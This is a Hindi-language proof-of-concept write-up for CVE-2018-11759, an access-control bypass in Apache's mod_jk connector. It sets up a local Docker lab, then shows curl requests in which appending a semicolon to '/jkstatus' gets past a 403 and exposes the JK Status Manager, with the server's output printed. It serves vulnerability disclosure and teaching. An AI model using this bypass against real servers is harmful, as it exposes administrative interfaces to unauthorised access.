
प्रूफ ऑफ कॉन्सेप्ट जो दिखाता है कि CVE-2018-11759 का शोषण कैसे करें
Apache Web Server (httpd) का विशेष कोड जो Apache Tomcat JK (mod_jk) कनेक्टर 1.2.0 से 1.2.44 में URI-वर्कर मैप से मिलान करने से पहले अनुरोधित पथ को सामान्य (normalise) करता था, कुछ एज केसों को सही ढंग से संभाल नहीं पाया। यदि Tomcat द्वारा समर्थित URLs का केवल एक उप-समूह httpd के माध्यम से उजागर किया गया था, तो यह संभव था कि एक विशेष रूप से निर्मित अनुरोध रिवर्स प्रॉक्सी के माध्यम से एप्लिकेशन की ऐसी कार्यक्षमता को उजागर कर दे जो रिवर्स प्रॉक्सी के माध्यम से एप्लिकेशन तक पहुँचने वाले क्लाइंट्स के लिए अभिप्रेत नहीं थी। कुछ कॉन्फ़िगरेशनों में यह भी संभव था कि एक विशेष रूप से निर्मित अनुरोध httpd में कॉन्फ़िगर किए गए एक्सेस नियंत्रणों को बायपास कर दे। यद्यपि इस मुद्दे और CVE-2018-1323 के बीच कुछ ओवरलैप है, ये समान नहीं हैं।
नीचे दिया गया प्रूफ ऑफ कॉन्सेप्ट दिखाता है कि CVE-2018-11759 का शोषण कैसे किया जाए और लक्षित सूचना प्रणाली पर इसका क्या प्रभाव पड़ता है।
docker-compose up -d
धैर्य रखें, पहली बार प्रक्रिया काफी लंबी हो सकती है।
चालू होने के बाद, कमजोर प्रॉक्सी निम्नलिखित पते http://localhost के माध्यम से सुलभ होगी।
mod_jk JkMount निर्देश के साथ माउंट किए गए एंडपॉइंट्स, जैसे कि JK स्टेटस मैनेजर इंटरफ़ेस (जो AJP वर्कर्स को प्रबंधित करने की अनुमति देता है), को बाहरी पहुँच से प्रतिबंधित करने के लिए सेट किया जा सकता है।
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
इस प्रतिबंध को संरक्षित एंडपॉइंट में एक अर्धविराम जोड़कर बायपास किया जा सकता है।
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
हमारे ब्लॉग पोस्ट लेख में अधिक जानकारी।
यह मुद्दा सबसे पहले Biznet Bilisim A.S. के Alphan YAVAS द्वारा खोजा गया था और Apache Tomcat सुरक्षा टीम को जिम्मेदारीपूर्वक रिपोर्ट किया गया था। अतिरिक्त आक्रमण वैक्टरों की पहचान immunIT के Raphaël Arrouas (Xel) और Jean Lejeune (Nitrax) द्वारा की गई थी।